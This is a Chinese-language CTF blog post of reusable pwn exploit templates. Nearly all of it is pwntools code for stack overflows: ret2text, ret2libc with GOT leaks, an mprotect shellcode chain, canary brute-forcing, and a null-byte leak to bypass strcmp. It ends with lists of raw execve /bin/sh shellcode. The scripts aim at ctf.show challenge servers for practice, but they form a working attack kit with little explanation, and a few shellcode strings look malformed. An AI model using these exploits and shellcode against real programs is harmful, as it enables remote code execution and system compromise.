title: PWN 模板
date: 2025-01-06 19:23:15
categories:
- CTF
- PWN专栏
tags:
- pwn
# 1. 有后门函数
# 32 位
| from pwn import * |
| from LibcSearcher import * |
| context(os='linux', arch='i386', log_level='debug') |
| |
| p=remote("pwn.challenge.ctf.show",28178) |
| flag=0x08048586 |
| p.recvuntil("want: ") |
| payload1=b"a"*(0x28+4)+p32(flag) |
| p.sendline(payload1) |
| p.recv() |
| p.interactive() |
# 64 位
| from pwn import * |
| from LibcSearcher import * |
| |
| context(os='linux', arch='amd64', log_level='debug') |
| |
| |
| |
| p=remote("pwn.challenge.ctf.show",28279) |
| |
| flag=0x0400657 |
| ret=0x0000000000400287 |
| p.recvuntil("easy ret2text&&64bit") |
| |
| payload1=b"a"*(18)+p64(ret)+p64(flag) |
| |
| p.sendline(payload1) |
| p.recv() |
| |
| p.interactive() |
# 2. 有后门,但需要自己传入参数
# 32 位
| from pwn import * |
| from LibcSearcher import * |
| context(os='linux', arch='i386', log_level='debug') |
| p=remote("pwn.challenge.ctf.show",28163) |
| ret=0x08048356 |
| system=0x080483A0 |
| binsh=0x8048750 |
| p.recvuntil("ret2text&&32bit") |
| |
| |
| |
| payload1=b"a"*(0x12+4)+p32(system)+p32(0)+p32(binsh) |
| |
| p.sendline(payload1) |
| p.recv() |
| |
| p.interactive() |
# 64 位
| from pwn import * |
| from LibcSearcher import * |
| context(os='linux', arch='amd64', log_level='debug') |
| p=remote("pwn.challenge.ctf.show",28188) |
| |
| ret=0x00000000004004fe |
| rdi_ret=0x00000000004007e3 |
| system=0x0000000000400520 |
| binsh=0x0000000000400808 |
| p.recvuntil("ret2text&&64bit") |
| |
| |
| |
| payload1=b"a"*(0xa+8)+p64(ret)+p64(rdi_ret)+p64(binsh)+p64(system) |
| |
| |
| p.sendline(payload1) |
| p.recv() |
| p.interactive() |
# 3. 只有 system,手动写入 /bin/sh
# 32 位
| from pwn import * |
| context(os='linux', arch='i386', log_level='debug') |
| p=process("./pwn43") |
| |
| system_plt=0x8048450 |
| gets_plt=0x8048420 |
| sh=b"/bin/sh" |
| bss=0x804B060 |
| payload=b"b"*(0x6c+4)+p32(gets_plt)+p32(system_plt)+p32(bss)+p32(bss) |
| |
| |
| p.recvuntil("*** \n") |
| p.sendline(payload) |
| |
| p.sendline(sh) |
| p.interactive() |
# 64 位
| from pwn import * |
| p=process("./pwn44") |
| context(os='linux', arch='amd64', log_level='debug') |
| |
| pop_rdi_ret=0x00000000004007f3 |
| system_plt=0x000000000400520 |
| gets_plt=0x000000000400530 |
| ret=0x00000000004004fe |
| sh=b"/bin/sh" |
| bss=0x000000000602080 |
| payload=b"b"*(0xa+8)+p64(pop_rdi_ret)+p64(bss)+p64(gets_plt)+p64(pop_rdi_ret)+p64(bss)+p64(system_plt) |
| p.recvuntil("parameter!\n") |
| p.sendline(payload) |
| p.sendline(sh) |
| p.interactive() |
# 泄露 got 表地址计算出 system 地址及参数 (ret2libc)
# 32 位 (在线 libc)
| from pwn import * |
| from LibcSearcher import * |
| |
| p=process("./pwn45") |
| e=ELF("./pwn45") |
| p=remote("pwn.challenge.ctf.show", 28243) |
| |
| puts_plt=e.plt["puts"] |
| puts_got=e.got["puts"] |
| |
| read_plt=e.plt["read"] |
| read_got=e.got["read"] |
| |
| write_plt=e.plt["write"] |
| write_got=e.got["write"] |
| |
| main=e.sym["main"] |
| |
| bss=0x804B060 |
| gets=0x8048420 |
| payload1=b"b"*(0x6b+4)+p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4) |
| |
| |
| p.recvuntil("O.o?\n") |
| p.sendline(payload1) |
| write_got=u32(p.recvuntil('\xf7')[-4:]) |
| log.info("write_got:"+hex(write_got)) |
| |
| |
| p.recvuntil("O.o?\n") |
| |
| libc=LibcSearcher("write",write_got) |
| libc_base=write_got-libc.dump("write") |
| system=libc_base+libc.dump("system") |
| binsh=libc_base+libc.dump("str_bin_sh") |
| |
| |
| print(hex(system)) |
| print(hex(binsh)) |
| payload2=b"b"*(0x6b+4)+p32(system)+p32(0)+p32(binsh) |
| p.sendline(payload2) |
| p.interactive() |
# 32 位 (本地 libc)
| from pwn import * |
| from LibcSearcher import * |
| |
| p=process("./pwn45") |
| e=ELF("./pwn45") |
| |
| libc=ELF("/lib/i386-linux-gnu/libc.so.6") |
| |
| puts_plt=e.plt["puts"] |
| puts_got=e.got["puts"] |
| |
| read_plt=e.plt["read"] |
| read_got=e.got["read"] |
| |
| write_plt=e.plt["write"] |
| write_got=e.got["write"] |
| |
| main=e.sym["main"] |
| |
| bss=0x804B060 |
| gets=0x8048420 |
| payload1=b"b"*(0x6b+4)+p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4) |
| |
| p.recvuntil("O.o?\n") |
| p.sendline(payload1) |
| write_got=u32(p.recvuntil('\xf7')[-4:]) |
| log.info("write_got:"+hex(write_got)) |
| |
| p.recvuntil("O.o?\n") |
| |
| |
| libc_base=write_got-libc.symbols["write"] |
| log.info("libc_base:"+hex(libc_base)) |
| system=libc_base+libc.symbols["system"] |
| binsh=libc_base+next(libc.search(b"/bin/sh")) |
| log.info("system:"+hex(system)) |
| log.info("binsh:"+hex(binsh)) |
| |
| |
| |
| |
| |
| |
| |
| |
| print(hex(system)) |
| print(hex(binsh)) |
| payload2=b"b"*(0x6b+4)+p32(system)+p32(0)+p32(binsh) |
| p.sendline(payload2) |
| p.interactive() |
# 64 位 (在线 libc)
| from pwn import * |
| from LibcSearcher import * |
| |
| |
| |
| e=ELF("./pwn46") |
| |
| |
| p=remote("pwn.challenge.ctf.show", 28236) |
| |
| puts_plt=e.plt["puts"] |
| puts_got=e.got["puts"] |
| |
| read_plt=e.plt["read"] |
| read_got=e.got["read"] |
| |
| write_plt=e.plt["write"] |
| write_got=e.got["write"] |
| |
| main=e.sym["main"] |
| |
| load=0x000000000601FA0 |
| rdi_ret=0x0000000000400803 |
| ret=0x00000000004004fe |
| payload1=b"b"*(0x70+8)+p64(ret)+p64(rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main) |
| |
| p.recvuntil("O.o?\n") |
| p.sendline(payload1) |
| puts_got=u64(p.recv(6).ljust(8,b'\x00')) |
| log.info("puts_got:"+hex(puts_got)) |
| |
| p.recvuntil("O.o?\n") |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| libc=LibcSearcher("puts",puts_got) |
| libc_base=puts_got-libc.dump("puts") |
| system=libc_base+libc.dump("system") |
| binsh=libc_base+libc.dump("str_bin_sh") |
| |
| |
| print(hex(system)) |
| print(hex(binsh)) |
| payload2=b"b"*(0x70+8)+p64(rdi_ret)+p64(binsh)+p64(system) |
| p.sendline(payload2) |
| p.interactive() |
# 64 位 (本地 libc)
| from pwn import * |
| from LibcSearcher import * |
| |
| |
| p=process("./pwn46") |
| e=ELF("./pwn46") |
| libc=ELF("/lib/x86_64-linux-gnu/libc.so.6") |
| |
| |
| |
| puts_plt=e.plt["puts"] |
| puts_got=e.got["puts"] |
| |
| read_plt=e.plt["read"] |
| read_got=e.got["read"] |
| |
| write_plt=e.plt["write"] |
| write_got=e.got["write"] |
| |
| main=e.sym["main"] |
| |
| load=0x000000000601FA0 |
| rdi_ret=0x0000000000400803 |
| ret=0x00000000004004fe |
| |
| payload1=b"b"*(0x70+8)+p64(ret)+p64(rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main) |
| |
| p.recvuntil("O.o?\n") |
| p.sendline(payload1) |
| puts_got=u64(p.recv(6).ljust(8,b'\x00')) |
| log.info("puts_got:"+hex(puts_got)) |
| |
| p.recvuntil("O.o?\n") |
| |
| |
| |
| libc_base=puts_got-libc.symbols["puts"] |
| log.info("libc_base:"+hex(libc_base)) |
| system=libc_base+libc.symbols["system"] |
| binsh=libc_base+next(libc.search(b"/bin/sh")) |
| log.info("system:"+hex(system)) |
| log.info("binsh:"+hex(binsh)) |
| |
| |
| |
| |
| |
| |
| |
| print(hex(system)) |
| print(hex(binsh)) |
| payload2=b"b"*(0x70+8)+p64(rdi_ret)+p64(binsh)+p64(system) |
| p.sendline(payload2) |
| p.interactive() |
# 静态编译,利用 mprotect 函数修改段权限为可执行,然后写入 shellcode
| from pwn import * |
| from LibcSearcher import * |
| context(os='linux', arch='i386', log_level='debug') |
| p=process("./pwn49") |
| e=ELF("./pwn49") |
| |
| |
| |
| |
| main=e.sym["main"] |
| print("main:"+hex(main)) |
| puts=e.sym["puts"] |
| mprotect=e.sym["mprotect"] |
| read=e.sym["read"] |
| bss=0x80DB358 |
| start=0x80DB000 |
| gets=0x8048420 |
| payload1=b"b"*(0x12+4)+p32(mprotect)+p32(main)+p32(start)+p32(0x1000)+p32(0x7) |
| |
| p.recvuntil("*** \n") |
| p.recvuntil("*** \n") |
| p.sendline(payload1) |
| |
| p.recvuntil("*** \n") |
| p.recvuntil("*** \n") |
| payload2=b"b"*(0x12+4)+p32(read)+p32(bss)+p32(0)+p32(bss)+p32(0x40) |
| shellcode=asm(shellcraft.sh()) |
| p.sendline(payload2) |
| |
| |
| p.sendline(shellcode) |
| |
| p.interactive() |
# 爆破固定值的 canary:
# 32 位程序
4 个字节的 canary,用的是 memcmp 函数比较,尽管是比较 4 个字节,但是当我们只输入一个字节时,没有其他字节可以比较,因此我们可以通过这种方式来爆破第一个字节,第一个字节匹配后没有其他字节可以比较时也会认为是正确的,也就不会退出程序,但是这种我们无法连续输入字符溢出到 ret,因为这样会有其他字节让 memcmp
来进行比较判断,因此我们只能逐个爆破,得到一个正确字节后再进行下一个字节的判断
| from pwn import * |
| from LibcSearcher import * |
| |
| |
| canary=b'' |
| for i in range(4): |
| for j in range(0x1000): |
| p=remote("pwn.challenge.ctf.show",28186) |
| flag=0x08048696 |
| p.sendlineafter("How many bytes do you want to write to the buffer?\n>",'999') |
| p.recv() |
| |
| payload1=b"I"*(0x20)+canary+p8(j) |
| p.send(payload1) |
| |
| a=p.recv() |
| if b'Canary Value Incorrect!' not in a: |
| canary+=p8(j) |
| print(canary) |
| break |
| else: |
| print("gg") |
| p.close() |
| p=remote("pwn.challenge.ctf.show",28186) |
| flag=0x08048696 |
| p.sendlineafter("How many bytes do you want to write to the buffer?\n>",'999') |
| p.recv() |
| print(canary) |
| payload1=b"I"*(0x20)+canary+b"a"*16+p32(flag) |
| p.send(payload1) |
| p.recv() |
| p.interactive() |
# 覆盖栈上空字符利用 puts 函数泄露信息(绕过 strcmp)
# 32 位程序
读入的 password 也被读入栈上,而我们输入 name 的大小 256 刚好到达 password 的位置,这样以来可以覆盖末尾的空字符时 puts 函数将 password 一起输出
| from pwn import * |
| |
| |
| context(os='linux', arch='i386', log_level='debug') |
| |
| |
| |
| p=remote("pwn.challenge.ctf.show",28227) |
| |
| p.recvuntil("Input your Username:\n") |
| p.send(b"a"*255+b"b") |
| p.recv(264) |
| password=p.recv() |
| print("password:"+str(password)) |
| p.close() |
| |
| p=remote("pwn.challenge.ctf.show",28227) |
| |
| p.recvuntil("Input your Username:\n") |
| p.sendline("a") |
| p.recvuntil("a") |
| payload=password |
| p.sendline(payload) |
| p.recv() |
| p.interactive() |
# 无限制的 shellcode
# 32 位
| from pwn import * |
| from LibcSearcher import * |
| |
| context(os='linux', arch='i386', log_level='debug') |
| |
| |
| p=remote("pwn.challenge.ctf.show",28135) |
| |
| shellcode = asm(shellcraft.sh()) |
| |
| payload1=shellcode |
| p.sendline(payload1) |
| p.interactive() |
32shellcode
| unsigned char code[] =b"\x31\xc9\xf7\xe9\x51\x04\x0b\xeb\x08\x5e\x87\xe6\x99\x87\xdc\xcd\x80\xe8\xf3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x2f\x73\x68" |
| |
| char *shellcode =b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"; |
| |
| shellcode=b'\xeb\x0b\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68' |
| |
| char code[] = b"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" |
| |
| char sc[] =b'\xb0\x0b\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80' |
| // <_start> |
| "\xb0\x0b" // mov $0xb,%al |
| "\x99" // cltd |
| "\x52" // push %edx |
| "\x68\x2f\x2f\x73\x68" // push $0x68732f2f |
| "\x68\x2f\x62\x69\x6e" // push $0x6e69622f |
| "\x89\xe3" // mov %esp,%ebx |
| "\x52" // push %edx |
| "\x53" // push %ebx |
| "\x89\xe1" // mov %esp,%ecx |
| "\xcd\x80" // int $0x80 |
| ; |
# 64 位
| from pwn import * |
| from LibcSearcher import * |
| |
| context(os='linux', arch='amd64', log_level='debug') |
| |
| |
| |
| p=remote("pwn.challenge.ctf.show",28127) |
| |
| shellcode = asm(shellcraft.sh()) |
| p.recvuntil("") |
| payload1=shellcode |
| |
| p.sendline(payload1) |
| |
| p.interactive() |
64shellcode
| shellcode =b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05" |
| |
| unsigned char sc[] = { |
| |
| |
| |
| |
| char code[] = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"; |
| |
| shellcode=b"x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05" |
| |
| char shellcode[] =b'\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05' |
| "\x48\x31\xd2" // xor %rdx, %rdx |
| "\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68" // mov $0x68732f6e69622f2f, %rbx |
| "\x48\xc1\xeb\x08" // shr $0x8, %rbx |
| "\x53" // push %rbx |
| "\x48\x89\xe7" // mov %rsp, %rdi |
| "\x50" // push %rax |
| "\x57" // push %rdi |
| "\x48\x89\xe6" // mov %rsp, %rsi |
| "\xb0\x3b" // mov $0x3b, %al |
| "\x0f\x05"; // syscall |
| |
| |
| |
| shellcode="Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t" |
| p.send(shellcode) |